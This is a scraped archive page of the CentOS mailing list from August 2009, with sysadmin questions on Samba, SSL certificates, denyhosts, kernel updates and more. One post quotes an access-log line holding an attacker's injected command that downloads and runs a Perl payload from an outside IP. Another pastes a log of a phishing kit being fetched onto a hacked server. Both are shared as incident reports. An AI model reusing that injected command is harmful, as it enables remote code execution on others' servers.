- Discuss - lists.centos.org

Crontab Nobody
by Anne Wilson 27 Aug '09

27 Aug '09

I have a crontab for Nobody. I tried to delete it in a root kcron, which I'm sure is how I dealt with this in the past, but it seems impossible to delete. Should I delete the file /var/spool/cron/nobody? It is owned root:root, perms 600. Anne -- New to KDE4? - get help from http://userbase.kde.org Just found a cool new feature? Add it to UserBase

2 2

Re: [CentOS] saslauthd
by Michael Kress 26 Aug '09

26 Aug '09

Hi, Kai Schaetzl wrote: >> I don't know what's going on - it seems that testsaslauthd doesn't >> lookup the user 'testomat' in /etc/sasldb2 > > Should it really do that with auth-mech=shadow? oh, I forgot to mention - of course I already tried that one: saslauthd -d -a pam -O /usr/lib64/sasl2/smtpd.conf -r -l Without success. Regards Michael

3 5

Apache and ASP or asp.net?
by Dave 26 Aug '09

26 Aug '09

Hello, Has anyone got this combination working? Thanks. Dave.

2 1

denyhosts configuration
by Dave 26 Aug '09

26 Aug '09

Hello, I've installed denyhosts on centos 5.3 trying to block automated attacks on ssh. It appears to be working in that entries are being added to /etc/hosts.deny yet the daily emails sent from denyhosts show only one ip being added perday when the total is many more than that. My config is below, i've gone over it and am not seeing what i missed. Suggestions welcome. I was also wondering if denyhosts can block other types of robot attacks such as smtp or port 80? Thanks. Dave. SECURE_LOG = /var/log/secure HOSTS_DENY = /etc/hosts.deny PURGE_DENY = 1w BLOCK_SERVICE = sshd DENY_THRESHOLD_INVALID = 2 DENY_THRESHOLD_VALID = 10 DENY_THRESHOLD_ROOT = 1 DENY_THRESHOLD_RESTRICTED = 1 WORK_DIR = /var/lib/denyhosts SUSPICIOUS_LOGIN_REPORT_ALLOWED_HOSTS=YES HOSTNAME_LOOKUP=NO LOCK_FILE = /var/lock/subsys/denyhosts ADMIN_EMAIL = user(a)example.com SMTP_HOST = localhost SMTP_PORT = 25 SMTP_FROM = DenyHosts <nobody(a)example.com> SMTP_SUBJECT = DenyHosts Report from $[HOSTNAME] AGE_RESET_VALID=5d AGE_RESET_ROOT=25d AGE_RESET_RESTRICTED=25d AGE_RESET_INVALID=10d DAEMON_LOG = /var/log/denyhosts DAEMON_SLEEP = 30s DAEMON_PURGE = SYNC_SERVER = http://xmlrpc.denyhosts.net:9911 SYNC_INTERVAL = 1h SYNC_UPLOAD = yes SYNC_DOWNLOAD = yes SYNC_DOWNLOAD_THRESHOLD = 3 SYNC_DOWNLOAD_RESILIENCY = 2h

2 1

Mounting /tmp nosuid,noexec
by Chuck 26 Aug '09

26 Aug '09

Does mounting /tmp as noexec,nosuid break anything in CentOS 5? I've been in solaris land forever and a day and this is a pretty standard security measure. I noticed CentOS comes default mounting /tmp with both those options allowed.. I'm getting constant php hack attacks against (mostly script kiddie level stuff right now) my server and will rest much easier with this setting in place.. We've been evaluating numerous wiki products which are certain to have security holes as well as pypmyadmin... Seeing a lot of crap like this: 193.253.240.85 - - [23/Aug/2009:16:57:57 -0500] "GET /phpmyadmin/config/config.inc.php?c=cd%20/tmp;rm%20-rf%20font-nix;wget%2078.46.33.52/font-nix;perl%20font-nix HTTP/1.1" 404 230 (of course I use cryptic names for my phpmyadmin install directory as well as password protect the directory and make any sensitive config files readable only by the web server owner) Thx for any info rhugga

3 2

Samba Question
by Rajagopal Swaminathan 26 Aug '09

26 Aug '09

Greetings, There is a requirement of Samba server with the following specification: There are two groups: Designers, Draftsmen The share folder hierarchy is Project-->Final Now the Designers groups should have rw rights for Projects and subfolders The draghtsmen should be able to upload only files (not folders) to Final subfolder. They are not allowed to modify/delete anything anywhere. They will not have any permission in project folder any ideas? Thanks and Regards Rajagopal

5 4

ssl certificate, maximum protection, on the budget?
by Dave 26 Aug '09

26 Aug '09

Hello, I've got a client who wants to go ssl. He's running a web server, smtp/pop, and ftps and imaps is coming as well. I'm looking for a wildcard ssl certificate i believe it's called but one on the budget plan. I am also wanting to ensure that the mod_ssl with httpd on the server is only using the strongest encryption methods and protocols. Thanks. Dave.

2 1

fasttest mirror -doesnt seem to pick sites near my region
by Linux Advocate 26 Aug '09

26 Aug '09

guys, i have the yum plugin -> fastest mirror . But not even once i have seen it selecting repos which are near my region such as japan or australia ( where i get the best speeds). Something is wrong. It seems stuck with these 3 sites ; Determining fastest mirrors * ftp-stud.fht-esslingen.de : 0.309373 secs * apt.sw.be : 0.483867 secs * fr2.rpmfind.net : 0.503842 secs

6 20

How to install kvm?
by Kanwar Ranbir Sandhu 26 Aug '09

26 Aug '09

Hello All, I want to install kvm in CentOS 5.3. The instructions on the wiki are fine and dandy, but the kmod-kvm package is for an older kernel. The box I want to install it on is up-to-date with the latest kernel packages. How do I install kvm on a fully updated CentOS 5.3 box? Is installing the older kernel my only option? BTW, I'd post this on the virt-list, but I have a hard time getting answers on that list. Regards, Ranbir -- Kanwar Ranbir Sandhu Linux 2.6.27.29-170.2.78.fc10.x86_64 x86_64 GNU/Linux 14:44:30 up 8 days, 15:41, 5 users, load average: 0.56, 0.22, 0.21

2 3

ath9k in CentOS 5
by James Szinger 26 Aug '09

26 Aug '09

Hi, I'm thinking about updating the wireless card on a CentOS 5.3 box. The Wiki at http://wiki.centos.org/HowTos/Laptops/Wireless says that the "ath9k driver ships with CentOS", but I can't find it. I've tried modinfo, locate, yum search, and yum provides, but they all come up empty. Am I missing something, or is the Wiki need correcting? I've also searched the CentOS forums and others share my confusion. Thanks, Jim

2 1

Auto update
by Morrien, Rob 25 Aug '09

25 Aug '09

Hello, at this moment we use redhat and centos on mylaptop. I upgraded from centos 5.2 to 5.3. I have something strange, my auto update is not running any more, if I start the update process manually and it is working. If i do a clean install of centos 5.3 on a pc or laptop it is working. My question is why is the auto update not running any more afther the update process. Met vriendelijke groet/With kind regards, Rob Morrien EDS, an HP company ABN AMRO account IE NL Gondel 1 1186 MJ Amstelveen The Netherlands Tel: +31 887 503052 Mobile: +31 6 51300616 E-mail: rob.morrien(a)eds.com -->>> ( On Friday i am not in the office ) <<< ----- We deliver on our commitments so you can deliver on yours

5 6

Tomcat 6 and Java 1.6
by CentOS List 25 Aug '09

25 Aug '09

Hi, Is there any yum repo which contains tomcat 6 and java 1.6? Thanks Regards WL

5 19

Dual Booting Question
by Michael Wright 25 Aug '09

25 Aug '09

Hi List I'm new to centos i'm also on the forum but my question is how do i do a dual boot say windows/centos i no i have to partition the harddrive can i do this in centos..\ could someone help us out Mike

7 10

Thunderbird installed for python dependency?
by Bowie Bailey 25 Aug '09

25 Aug '09

I was starting to run a yum update on one of my servers and noticed that it wanted to install Thunderbird for some reason. Running yum with the '-v' option gave this output: gamin-python-0.1.7-8.el5.i386 requires: /usr/lib/python2.4 --> Processing Dependency: /usr/lib/python2.4 for package: gamin-python Needed Require is not a package name. Looking up: /usr/lib/python2.4 Potential Provider: python.i386 0:2.4.3-24.el5 Mode is u for provider of /usr/lib/python2.4: python.i386 0:2.4.3-24.el5 Mode for pkg providing /usr/lib/python2.4: u Cannot find an update path for dep for: /usr/lib/python2.4 Searching pkgSack for dep: /usr/lib/python2.4 Potential match for /usr/lib/python2.4 from python-2.4.3-24.el5.i386 Potential match for /usr/lib/python2.4 from thunderbird-2.0.0.22-2.el5.centos.i386 python-2.4.3-24.el5.i386 is in providing packages but it is already installed, removing. TSINFO: Marking thunderbird-2.0.0.22-2.el5.centos.i386 as install for gamin-python-0.1.7-8.el5.i386 Why is it trying to get the python lib from Thunderbird when the Python package is already installed? I don't really want Thunderbird installed on a server. Any suggestions? Thanks -- Bowie

5 5

Terminal emulation and serial ports
by Robert Moskowitz 25 Aug '09

25 Aug '09

I have to reinit a firewall that can only be done from its console port, and I do not have an XP system with Hyperterminal on it. So I went through the archive and learned that minicom could do the job for me. I installed it and went to configure it (minicom -s). I can set the speeds, but the challenge is selecting the serial device. I have a Serial-to-USB dongle, and when I connect it, the gnome hardware browser is showing a FIDI usb serial converter that was not there before connecting the dongle. But what /dev/thingee do I put into the minicom configuration?

4 5

Re: [CentOS] unknown connection
by Bowie Bailey 25 Aug '09

25 Aug '09

Manuel Monteiro wrote: > > Hello, > > > > Today I updated one of our computers running CentOS 5.3 32bit. After a > reboot I notice the following with lsof –i > > > > sshd 3638 root 3u IPv6 17317 TCP > pc46.astro.up.pt:ssh->119.1.193.205:zephyr-clt (ESTABLISHED) > > sshd 3639 sshd 3u IPv6 17317 TCP > pc46.astro.up.pt:ssh->119.1.193.205:zephyr-clt (ESTABLISHED) > > > > What is this connection? > > > > IPtables is on and SELinux is on enforcing mode. > Looks like an ssh connection from 119.1.193.205 port 2103 (defined as "zephyr-clt" in /etc/services). -- Bowie

2 1

unknown connection
by Manuel Monteiro 25 Aug '09

25 Aug '09

Hello, Today I updated one of our computers running CentOS 5.3 32bit. After a reboot I notice the following with lsof -i sshd 3638 root 3u IPv6 17317 TCP pc46.astro.up.pt:ssh->119.1.193.205:zephyr-clt (ESTABLISHED) sshd 3639 sshd 3u IPv6 17317 TCP pc46.astro.up.pt:ssh->119.1.193.205:zephyr-clt (ESTABLISHED) What is this connection? IPtables is on and SELinux is on enforcing mode. Thanks, Manuel Monteiro

1 0

CentOS-announce Digest, Vol 54, Issue 11
by centos-announce-request＠centos.org 25 Aug '09

25 Aug '09

Send CentOS-announce mailing list submissions to centos-announce(a)centos.org To subscribe or unsubscribe via the World Wide Web, visit http://lists.centos.org/mailman/listinfo/centos-announce or, via email, send a message with subject or body 'help' to centos-announce-request(a)centos.org You can reach the person managing the list at centos-announce-owner(a)centos.org When replying, please edit your Subject line so it is more specific than "Re: Contents of CentOS-announce digest..." Today's Topics: 1. CESA-2009:1222 Important CentOS 5 i386 kernel Update (Karanbir Singh) 2. CESA-2009:1222 Important CentOS 5 x86_64 kernel Update (Karanbir Singh) ---------------------------------------------------------------------- Message: 1 Date: Mon, 24 Aug 2009 19:35:59 +0000 From: Karanbir Singh <kbsingh(a)centos.org> Subject: [CentOS-announce] CESA-2009:1222 Important CentOS 5 i386 kernel Update To: centos-announce(a)centos.org Message-ID: <20090824193559.GA1073(a)tantra.karan.org> Content-Type: text/plain; charset=us-ascii CentOS Errata and Security Advisory 2009:1222 Important Upstream details at : https://rhn.redhat.com/errata/RHSA-2009-1222.html The following updated files have been uploaded and are currently syncing to the mirrors: ( md5sum Filename ) i386: 229ffdd6e1c4ef228b519298d9aef095 kernel-2.6.18-128.7.1.el5.i686.rpm dec5d22af821cd3223677c07a6c46e20 kernel-debug-2.6.18-128.7.1.el5.i686.rpm 9d6596fb291c21ec81a50616c153b5ae kernel-debug-devel-2.6.18-128.7.1.el5.i686.rpm 8d206b5c5d9d6f544b1fc082c79f698c kernel-devel-2.6.18-128.7.1.el5.i686.rpm 07bd3312874c7110530bab61b01baf06 kernel-doc-2.6.18-128.7.1.el5.noarch.rpm dd3e3430535e7c6905adcf54cd982c72 kernel-headers-2.6.18-128.7.1.el5.i386.rpm ff19b5a51fcc2f4a7e514807d79e7c97 kernel-PAE-2.6.18-128.7.1.el5.i686.rpm d65893ebb79361fda3e3b78d4e2fdaf3 kernel-PAE-devel-2.6.18-128.7.1.el5.i686.rpm a7e59c15d2e94d2c304fd554dcbda582 kernel-xen-2.6.18-128.7.1.el5.i686.rpm 933e14b5610edf4a83d85dfaf13aaba7 kernel-xen-devel-2.6.18-128.7.1.el5.i686.rpm Source: 6f2a1a5d7d602684880454cd3bbe00e6 kernel-2.6.18-128.7.1.el5.src.rpm -- Karanbir Singh CentOS Project { http://www.centos.org/ } irc: z00dax, #centos(a)irc.freenode.net ------------------------------ Message: 2 Date: Mon, 24 Aug 2009 19:36:02 +0000 From: Karanbir Singh <kbsingh(a)centos.org> Subject: [CentOS-announce] CESA-2009:1222 Important CentOS 5 x86_64 kernel Update To: centos-announce(a)centos.org Message-ID: <20090824193602.GA1088(a)tantra.karan.org> Content-Type: text/plain; charset=us-ascii CentOS Errata and Security Advisory 2009:1222 Important Upstream details at : https://rhn.redhat.com/errata/RHSA-2009-1222.html The following updated files have been uploaded and are currently syncing to the mirrors: ( md5sum Filename ) x86_64: 90c9aa3034be5545a946ce13259a1590 kernel-2.6.18-128.7.1.el5.x86_64.rpm 98fe46baaef4f807ad3719f5bd3d0ccd kernel-debug-2.6.18-128.7.1.el5.x86_64.rpm 0d9e47b8cdcfe760e9a32807353caafe kernel-debug-devel-2.6.18-128.7.1.el5.x86_64.rpm 3ff5c6b8f8aa9a5bb392457d3f74ad53 kernel-devel-2.6.18-128.7.1.el5.x86_64.rpm 75cf07d4d6bd79f1d55c0499e74fb165 kernel-doc-2.6.18-128.7.1.el5.noarch.rpm ebaa6c16aec77563cccabff44829e802 kernel-headers-2.6.18-128.7.1.el5.x86_64.rpm 516e1ce8ad2146d43cc6b10d9c8c54b7 kernel-xen-2.6.18-128.7.1.el5.x86_64.rpm 3619c010401c79bc1222e23dd6388993 kernel-xen-devel-2.6.18-128.7.1.el5.x86_64.rpm Source: 6f2a1a5d7d602684880454cd3bbe00e6 kernel-2.6.18-128.7.1.el5.src.rpm -- Karanbir Singh CentOS Project { http://www.centos.org/ } irc: z00dax, #centos(a)irc.freenode.net ------------------------------ _______________________________________________ CentOS-announce mailing list CentOS-announce(a)centos.org http://lists.centos.org/mailman/listinfo/centos-announce End of CentOS-announce Digest, Vol 54, Issue 11 ***********************************************

1 0

anaconda and x86_64
by lhecking＠users.sourceforge.net 25 Aug '09

25 Aug '09

I'm trying to build a bugfixed anaconda package for 5.3 x84_64, but there are some fairly basic failures, like pkg-config .pc files not being found. When I modify the spec file accordingly, linking fails because installed libraries are not found. $ rpmbuild -ba anaconda.spec Executing(%prep): /bin/sh -e /var/tmp/rpm-tmp.25019 + umask 022 + cd /usr/src/redhat/BUILD + LANG=C + export LANG + unset DISPLAY + cd /usr/src/redhat/BUILD + rm -rf anaconda-11.1.2.168 + /usr/bin/bzip2 -dc /usr/src/redhat/SOURCES/anaconda-11.1.2.168.tar.bz2 + tar -xf - ... for d in isys wlite stubs loader2 po textw utils scripts bootdisk installclasses iw pixmaps isomd5sum command-stubs ui fonts; do make -C $d depend; done make[1]: Entering directory `/usr/src/redhat/BUILD/anaconda-11.1.2.168/isys' grep NFS_MOUNT_VERSION /usr/include/linux/nfs_mount.h | sed -e 's/NFS/KERNEL_NFS/' > nfs_mountversion.h Package libdhcp6client was not found in the pkg-config search path. Perhaps you should add the directory containing `libdhcp6client.pc' to the PKG_CONFIG_PATH environment variable Package 'libdhcp6client', required by 'libdhcp', not found cc -E -M -O2 -g -pipe -Wall -Wp,-D_FORTIFY_SOURCE=2 -fexceptions -fstack-protector --param=ssp-buffer-size=4 -m64 -mtune=generic -Wall -Werror -D_GNU_SOURCE =1 -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE=1 -D_LARGEFILE64_SOURCE=1 -DUSESELINUX=1 -I/usr/include/python2.4 -I.. -DHAVE_NFS nfsmount.c nfsmount_clnt.c nfsmount_xdr.c imount.c smp.c devnodes.c cpio.c uncpio.c dasd.c lang.c isofs.c dns.c linkdetect.c vio.c ethtool.c wireless.c eddsupport.c nl.c str.c auditd. c isys.c > .depend In file included from isys.c:55: /usr/include/libdhcp/pump.h:78:22: error: dhcp_nic.h: No such file or directory make[1]: *** [depend] Error 1 make[1]: Leaving directory `/usr/src/redhat/BUILD/anaconda-11.1.2.168/isys' make[1]: Entering directory `/usr/src/redhat/BUILD/anaconda-11.1.2.168/wlite' make[1]: *** No rule to make target `depend'. Stop. make[1]: Leaving directory `/usr/src/redhat/BUILD/anaconda-11.1.2.168/wlite' make[1]: Entering directory `/usr/src/redhat/BUILD/anaconda-11.1.2.168/stubs' make[1]: Nothing to be done for `depend'. make[1]: Leaving directory `/usr/src/redhat/BUILD/anaconda-11.1.2.168/stubs' Package libdhcp6client was not found in the pkg-config search path. Perhaps you should add the directory containing `libdhcp6client.pc' to the PKG_CONFIG_PATH environment variable Package 'libdhcp6client', required by 'libdhcp', not found ... etc. Any ideas how to fix this? The same package builds find under i386. --------------------------------------------------------------- This message and any attachments may contain Cypress (or its subsidiaries) confidential information. If it has been received in error, please advise the sender and immediately delete this message. ---------------------------------------------------------------

3 10

self signing certificates
by James B. Byrne 25 Aug '09

25 Aug '09

> From: Jerry Geis <geisj(a)pagestation.com> > To: CentOS ML <centos(a)centos.org> > Sent: Monday, 24 August, 2009 14:32:00 > Subject: [CentOS] self signing certificates > > hi all, > > I have gone through the process of self signing certificates. > Aside from the pop-ups about not trusted etc... everything > appears to work. > > For "internal" applications what do people/places do? > It would be nice to be seamless and have the "your not trusted" > window pop-up. > As someone else previously detailed, you really need to have a root signing CA that only signs certs for your issuing CAs and then use the issuing CAs to sign end use certificates of whatever types you deem appropriate. It is considered required practice that root CA and issuing CAs must be physically isolated from all network connections and that floppy or sneaker net must be used to handle incoming CSR and outgoing CERTS. If you are simply using certs for encryption and not for authentication then this practice probably can be safely dispensed with. If you ARE using certs for authentication then this provision is absolutely required. The arrangement of self-signed root CA <--CSR--- Issuing CA <--CSR--- end-user is now critical for Firefox users. Releases in the 3.x series will no longer trust any self-signed CA certificate. So, to avoid the warning box in Firefox you must have the end use certificates signed by an intermediate CA whose own certificate may however be signed by a self-signed root. > Yet this is not a public web site either. Just internal use. > The server might be on the internet but people from the internet > are not using it. > Well, the available software has no way of figuring that out for itself, so it makes no difference. And, to be precise, "people from the internet should not be using it", which is rather a different thing. > I presume there is no way to by-pass the certificate signing > process - even for internal apps. > Is there? > Not unless you can live with the warning boxes. -- *** E-Mail is NOT a SECURE channel *** James B. Byrne mailto:ByrneJB@Harte-Lyne.ca Harte & Lyne Limited http://www.harte-lyne.ca 9 Brockley Drive vox: +1 905 561 1241 Hamilton, Ontario fax: +1 905 561 0757 Canada L8E 3C3

3 2

System freezes completely under kernel 2.6.18-128.7.1.el5
by Olaf Mueller 25 Aug '09

25 Aug '09

Hello, is there a known problem with the new kernel for CentOS 5.3? Till today, my server works without any problems. But after updating to the new kernel 2.6.18-128.7.1.el5 the system freezes completely with no more access by keyboard or over network. The last message in /var/log/messages is 'Aug 25 14:07:41 weidenwinde kernel: hdg: dma_timer_expiry: dma status == 0x21'. I have not change my hardware, have not change configuration and till this new kernel the system was running without any problems. The harddisks are younger than a year. Is someone else this seeing? regards Olaf

2 4

self signing certificates
by Jerry Geis 25 Aug '09

25 Aug '09

hi all, I have gone through the process of self signing certificates. Aside from the pop-ups about not trusted etc... everything appears to work. For "internal" applications what do people/places do? It would be nice to be seamless and have the "your not trusted" window pop-up. Yet this is not a public web site either. Just internal use. The server might be on the internet but people from the internet are not using it. I presume there is no way to by-pass the certificate signing process - even for internal apps. Is there? Thanks, Jerry

7 9

Re: [CentOS] Samba "use sendfile" configuration option set do disabled as default - why?
by Per Qvindesland 25 Aug '09

25 Aug '09

Hi I am not saying that this is the solution but I am saying that it might be worth a short, even if it works for you I would still fine tune it depending on your configs, a lot of the time fine tuning samba is a pain and most of the time it actually comes down to crappy network performance I.E the nic seems to be working but it actually has a fault. Regards Per Qvindesland --- Original message follows --- SUBJECT: Re: [CentOS] Samba "use sendfile" configuration option set do disabled as default - why? FROM: Christoph Maser TO: "CentOS mailing list" DATE: 24-08-2009 13:27 Am Montag, den 24.08.2009, 13:24 +0200 schrieb Per Qvindesland: > socket options = TCP_NODELAY IPTOS_LOWDELAY SO_RCVBUF=65536 > SO_SNDBUF=65536 These options are often found if you search for samba tuning. Did someone actaully benchmark the results? Shouldn't tuning buffers manuall be oboslete nowadays? I somewhat doubt this is THE solution for slow sambas. Chris financial.com AG Munich head office/Hauptsitz München: Maria-Probst-Str. 19 | 80939 München | Germany Frankfurt branch office/Niederlassung Frankfurt: Messeturm | Friedrich-Ebert-Anlage 49 | 60327 Frankfurt | Germany Management board/Vorstand: Dr. Steffen Boehnert (CEO/Vorsitzender) | Dr. Alexis Eisenhofer | Dr. Yann Samson | Matthias Wiederwach Supervisory board/Aufsichtsrat: Dr. Dr. Ernst zur Linden (chairman/Vorsitzender) Register court/Handelsregister: Munich – HRB 128 972 | Sales tax ID number/St.Nr.: DE205 370 553 _______________________________________________ CentOS mailing list CentOS(a)centos.org http://lists.centos.org/mailman/listinfo/centos

6 8

Access to xorg-x11-server-1.1.1-48.53.el5 (or later) SRPM ?
by James Pearson 25 Aug '09

25 Aug '09

Does anyone have access to the xorg-x11-server-1.1.1-48.53.el5 (or later) SRPM - which may be part of 5.4 beta? It's mentioned as having a fix for Bugzilla #448586 <https://bugzilla.redhat.com/show_bug.cgi?id=448586> I what to see if it fixes a X11 crash we're having. Thanks James Pearson

2 5

Re: [CentOS] self signing certificates
by Les Bell 25 Aug '09

25 Aug '09

Keith Keller <kkeller(a)speakeasy.net> wrote: >> If you're going to go through that much trouble << Although I didn't quote the entire process here (copyright, time, etc.) it's only one command, the adding of one line to the Apache httpd.conf, (probably) scp'ing the files onto the server and providing a link on a page somewhere. Oh, and reloading Apache. 5 mins, tops. If you're a slow typist. But I must admit, I've not bothered to do it myself. One of these days. . . Best, --- Les Bell [http://www.lesbell.com.au] Tel: +61 2 9451 1144

1 0

Re: [CentOS] self signing certificates
by Les Bell 25 Aug '09

25 Aug '09

Jerry Geis <geisj(a)pagestation.com> wrote: >> Was just trying to find a way so that users that "dont know" what this box is that is poping up wont even see the box. << Can't you install your own root certificate into the internal client browsers? The book "Network Security Hacks" (Andrew Lockhart, O'Reilly) gives a procedure for doing this (p. 112). You generate a .der file from the cacert.pem file, add a new mime type in the Apache config and then make the pem and der files available on your server. The users can now install the new root cert by just clicking on a link. (Sorry if this has already been covered - I wasn't paying attention to the earlier discussion). Best, --- Les Bell [http://www.lesbell.com.au] Tel: +61 2 9451 1144

2 1

logwatch not mailing
by Ray Leventhal 24 Aug '09

24 Aug '09

Hi, # uname -a Linux obfuscated.example.com 2.6.18-128.4.1.el5 #1 SMP Tue Aug 4 20:23:34 EDT 2009 i686 i686 i386 GNU/Linux I noticed a few days ago that I'm not getting my logwatch emails to the root account any longer, and while I've definitely been applying updates from base, no other changes have happened on this box. I ran logwatch at the command line: logwatch --detail medium --mailto root(a)fqdn.example.com but still no email. As expected, /etc/cron.daily has the following entry: lrwxrwxrwx 1 root root 39 Jul 30 2008 0logwatch -> /usr/share/logwatch/scripts/logwatch.pl Where should I start looking to figure out why logwatch seems not to be doing its thing? Thanks in advance, -Ray

7 10

httpd - mysql - paypal.com.tar - hacker
by Gregory P. Ennis 24 Aug '09

24 Aug '09

Everyone, This morning I received a notice from PayPal that one of our sites got hacked and was spoofing a PayPal web site. When I checked the the site, I was surprised to find they were correct. About 5 days a go we had a server that got hacked and somehow the file paypal.com.tar got uploaded to our server and then stored in a a subdirectory of /var/www/. I had previously started a mysqld server and planned on using it for web authorizations. I had not been able to work on it, but left it in place. I looked like the hacker downloaded his paypal spoof files into a subdirectory of /var/www/phpmyadmin. I am running 5.3 with all current updates. I do not have telnet or ftp active on this server, and have password authentication of sshd turned off. I have tried to obtain dialog with PayPal about this but they have not responded to my queries. If any of you have had some experience with this I would be interested in knowing how this may have happened. I have shutdown the mysqld server as well as removed access in httpd.conf of the /var/www/phpmyadmin directory in order to shutdown the spoofing site. If any of you have a leg up on this I would appreciate your help. Greg Ennis P.S. I found the following entry in my error_log of /var/log/httpd/ : [Sun Aug 16 04:26:19 2009] [info] Server built: Jul 14 2009 06:02:39 --00:21:14-- http://code.go.ro/paypal.com.tar Resolving code.go.ro... 81.196.20.134 Connecting to code.go.ro|81.196.20.134|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 645120 (630K) [application/x-tar] Saving to: `paypal.com.tar' 0K .......... .......... .......... .......... .......... 7% 70.0K 8s 50K .......... .......... .......... .......... .......... 15% 265K 5s 100K .......... .......... .......... .......... .......... 23% 284K 3s 150K .......... .......... .......... .......... .......... 31% 1.81M 2s 200K .......... .......... .......... .......... .......... 39% 1.79M 2s 250K .......... .......... .......... .......... .......... 47% 323K 1s 300K .......... .......... .......... .......... .......... 55% 1.80M 1s 350K .......... .......... .......... .......... .......... 63% 1.76M 1s 400K .......... .......... .......... .......... .......... 71% 431K 1s 450K .......... .......... .......... .......... .......... 79% 1.77M 0s 500K .......... .......... .......... .......... .......... 87% 1.75M 0s 550K .......... .......... .......... .......... .......... 95% 1.82M 0s 600K .......... .......... .......... 100% 1.87M=1.6s 00:21:16 (405 KB/s) - `paypal.com.tar' saved [645120/645120] sh: line 0: cd: pma: Not a directory gzip: stdin: not in gzip format tar: Child returned status 1 tar: Error exit delayed from previous errors

10 24

virt-manager crashes Host during installation of guest
by Bernhard Gschaider 24 Aug '09

24 Aug '09

Hi! I have the following problem: I have a server (CentOS 5.3 x86_64) on which I want to install a virtual Xen-machine (CentOS 5.3 x86_64), I ssh from my workstation (Centos 5.3 x86_64 .... do you see the pattern ;) ) to that server and start the virt-manager. I create a new Guest (Paravirtualiuzed) and point it to the server with the installation files (CentOS 5.3, but I already said that). The manager creates the disk image an then opens the Graphical console for installation. Sometime around the point where the installation program wants me to select the keyboard the graphical console it freezes. The server is completely dead (no console, no disk activity, no ping, only a reset will "repair" it) My question: am I doing something stupid? But I figured "They're all the same system, this must work" I don't want to play around with it too much as the server is also our file-server and people start complaining. So any hint will be greatly appreciated (otherwise I'll have to setup another machine for the guests) Bernhard -- --------------------------------------------------------------------------- DI Bernhard F.W. Gschaider --------------------------------------------------------------------------- EMail: Bernhard.Gschaider(a)ice-sf.at WWW : www.ice-sf.at Jabber : bgschaid(a)jabber.org Tel: +43(3842)98282-42 Fax: +43(3842)98282-02 ---------------------------------------------------------------------------

8 20

CentOS-announce Digest, Vol 54, Issue 10
by centos-announce-request＠centos.org 24 Aug '09

24 Aug '09

Send CentOS-announce mailing list submissions to centos-announce(a)centos.org To subscribe or unsubscribe via the World Wide Web, visit http://lists.centos.org/mailman/listinfo/centos-announce or, via email, send a message with subject or body 'help' to centos-announce-request(a)centos.org You can reach the person managing the list at centos-announce-owner(a)centos.org When replying, please edit your Subject line so it is more specific than "Re: Contents of CentOS-announce digest..." Today's Topics: 1. CESA-2009:1223 Important CentOS 4 x86_64 kernel Update (Johnny Hughes) 2. CESA-2009:1223 Important CentOS 4 i386 kernel Update (Johnny Hughes) ---------------------------------------------------------------------- Message: 1 Date: Mon, 24 Aug 2009 10:30:11 -0500 From: Johnny Hughes <johnny(a)centos.org> Subject: [CentOS-announce] CESA-2009:1223 Important CentOS 4 x86_64 kernel Update To: CentOS-Announce <centos-announce(a)centos.org> Message-ID: <4A92B203.1080509(a)centos.org> Content-Type: text/plain; charset="iso-8859-1" CentOS Errata and Security Advisory 2009:1223 https://rhn.redhat.com/errata/RHSA-2009-1223.html The following updated files have been uploaded and are currently syncing to the mirrors: x86_64: kernel-2.6.9-89.0.9.EL.x86_64.rpm kernel-devel-2.6.9-89.0.9.EL.x86_64.rpm kernel-doc-2.6.9-89.0.9.EL.noarch.rpm kernel-largesmp-2.6.9-89.0.9.EL.x86_64.rpm kernel-largesmp-devel-2.6.9-89.0.9.EL.x86_64.rpm kernel-smp-2.6.9-89.0.9.EL.x86_64.rpm kernel-smp-devel-2.6.9-89.0.9.EL.x86_64.rpm kernel-xenU-2.6.9-89.0.9.EL.x86_64.rpm kernel-xenU-devel-2.6.9-89.0.9.EL.x86_64.rpm src: kernel-2.6.9-89.0.9.EL.src.rpm

1 0

pulse audio for CentOS 5
by Kanwar Ranbir Sandhu 24 Aug '09

24 Aug '09

Hi All, Does anyone know of a repo packaging a recent pulse audio release as RPMs for CentOS 5? Regards, Ranbir -- Kanwar Ranbir Sandhu Linux 2.6.27.29-170.2.78.fc10.x86_64 x86_64 GNU/Linux 11:26:10 up 8 days, 12:22, 5 users, load average: 1.09, 0.35, 0.18

1 0

Firewall and nfs mounts
by Anne Wilson 24 Aug '09

24 Aug '09

Which ports need to be open on a nfs mount server? And does the client need anything opening? I tried setting 2049 udp and tcp, using system-config-securitylevel, but it doesn't seem to save the settings. First, am I trying the correct ports? Second, what am I missing in making the changes stick? Anne -- New to KDE4? - get help from http://userbase.kde.org Just found a cool new feature? Add it to UserBase

3 3

Re: [CentOS] Samba "use sendfile" configuration option set do disabled as default - why?
by Per Qvindesland 24 Aug '09

24 Aug '09

Hi Have you tried this one socket options = TCP_NODELAY IPTOS_LOWDELAY SO_RCVBUF=65536 SO_SNDBUF=65536 Also look at the log level reduce it to level to or lower. Per --- Original message follows --- SUBJECT: [CentOS] Samba "use sendfile" configuration option set do disabled as default - why? FROM: happymaster23 TO: "CentOS mailing list" DATE: 24-08-2009 12:47 Hello, I had problems with speed of Samba, so I was looking for some solution and I had discovered "use sendfile" configuration option. I was checking all Samba release notes and I had discovered, that from some version (older than is in CentOS repo) this option was turned on as default. So my question is, why in CentOS 5.3 is that option in default set to off? Thank you for responses Martin Šťastný _______________________________________________ CentOS mailing list CentOS(a)centos.org http://lists.centos.org/mailman/listinfo/centos

2 1

Samba "use sendfile" configuration option set do disabled as default - why?
by happymaster23 24 Aug '09

24 Aug '09

Hello, I had problems with speed of Samba, so I was looking for some solution and I had discovered "use sendfile" configuration option. I was checking all Samba release notes and I had discovered, that from some version (older than is in CentOS repo) this option was turned on as default. So my question is, why in CentOS 5.3 is that option in default set to off? Thank you for responses Martin Šťastný

1 0

Need Java plugin for Firefox in CentOS 5.3
by Robert Nichols 24 Aug '09

24 Aug '09

